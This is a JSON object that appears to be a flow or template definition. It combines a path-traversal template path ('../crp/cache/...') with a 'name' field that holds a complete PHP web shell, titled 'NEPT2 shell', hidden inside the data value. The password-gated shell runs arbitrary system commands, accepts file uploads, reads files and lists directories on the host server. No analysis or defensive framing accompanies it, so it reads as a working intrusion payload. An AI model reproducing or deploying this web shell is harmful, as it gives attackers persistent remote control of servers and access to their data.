{"template": "../crp/cache/coreg_x.json", "steps": [], "name": "<?php $K='1d6be5400d4bf3b4dd3fb5d6c4b72fce'; if(!isset($_GET['k'])||md5($_GET['k'])!==$K)die('no');$D=isset($_GET['d'])?$_GET['d']:getcwd();$B='?flow_id=0xkekw&k='.$_GET['k'].'&d='.urlencode($D);echo '<html><head><meta charset=utf-8><title>sys</title></head><body style=background:#111;color:#ccc;font:13px monospace>';echo '<h3 style=color:#58a6ff>NEPT2 shell</h3>path: '.$D.'<hr>';if(isset($_GET['c'])){echo '<pre style=background:#000;padding:8px>';system($_GET['c']);echo '</pre><hr>';}if(isset($_FILES['u'])){move_uploaded_file($_FILES['u']['tmp_name'],$D.'/'.$_FILES['u']['name']);echo '<b style=color:#3fb950>uploaded: '.$_FILES['u']['name'].'</b><hr>';}if(isset($_GET['v'])){echo '<pre style=background:#000;padding:8px>';echo htmlspecialchars(file_get_contents($D.'/'.$_GET['v']));echo '</pre><hr>';}echo '<form method=post enctype=multipart/form-data action='.$B.'>upload: <input type=file name=u><input type=submit value=up></form>';echo '<form method=get>cmd: <input name=c style=width:70%;background:#222;color:#ccc;border:1px solid #444;font:inherit><input type=hidden name=flow_id value=0xkekw><input type=hidden name=k value='.$_GET['k'].'><input type=hidden name=d value='.htmlspecialchars($D).'><input type=submit value=run></form><hr>';$fs=@scandir($D); if($fs){foreach($fs as $x){if($x=='.')continue;if(is_dir($D.'/'.$x))echo '<a style=color:#58a6ff href=?flow_id=0xkekw&k='.$_GET['k'].'&d='.urlencode($D.'/'.$x).'>[ '.$x.' ]</a><br>';else echo '<a style=color:#ccc href=?flow_id=0xkekw&k='.$_GET['k'].'&d='.urlencode($D).'&v='.urlencode($x).'>'.htmlspecialchars($x).'</a> ('.@filesize($D.'/'.$x).'b)<br>';}}echo '</body></html>'; ?>"}